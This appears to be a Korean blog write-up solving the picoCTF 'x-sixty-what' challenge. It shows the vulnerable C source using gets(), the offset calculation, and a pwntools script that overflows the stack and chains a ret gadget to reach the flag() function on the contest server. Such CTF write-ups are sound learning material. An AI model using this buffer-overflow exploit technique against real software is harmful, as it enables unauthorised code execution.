Pico CTF -x-sixty-what-

2023. 3. 24. 21:06Pwnable/PicoCTF

 

문제의 소스코드는 아래와 같다.

 

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
  vuln();
  return 0;
}

 

 Buffer Over Flow 을 일으켜 플래그를 획득하는 문제인거 같다.

 

보호기법으로는 NX Partial-RelRo 가 걸려있다.

 

일단 offset 을 구해봤다.

 

 

offset 은 72가 나왔다.

 

하지만 여기서 주목해서 봐야할 부분은 분명 Bp 를 메인 RET 에 걸었지만 Vuln 부분에서 멈춘 것이다.

 

즉 계속해서 프로그램은 진행시킨다면 SIGSEGV가 일어날거고 결론적으로 Ret 주소를 덮을 수 없다.

 

 그렇기에 필자는 Vuln ret --> main Ret ---> flag_addr 순으로 적용시켜 익스플로잇을 시킬 계획을 세웠다.

 

분명 이렇게 풀라고 만든 문제는 아닌거 같지만.. 이렇게 시도를 해보니 풀렸다..!

 

그렇게 flag_addr 시작 주소를 구하고 main Ret 주소 또한 구했다.

 

 

그렇게 작성한 익스플로잇 코드는 다음과 같다.

 

from pwn import * 

p = remote('saturn.picoctf.net', 61546)
e = ELF('./x-sixty')
context.arch = "amd64"

offset = 72
ret = 0x000000000040133e #main ret
flag_addr = 0x0000000000401236 # e.symbols["flag"]

payload = b'A' * offset
payload += p64(ret)
payload += p64(flag_addr)

p.sendline(payload)

result = p.recv(1000)
print(result)

p.interactive()

 

'Pwnable > PicoCTF' 카테고리의 다른 글

Buffer Over Flow 2 -Pico CTF-  (1) 2023.03.09
Clutter Buffer Over Flow  (0) 2023.03.09
-PicoCTF- Buffer Over Flow 1  (0) 2023.03.03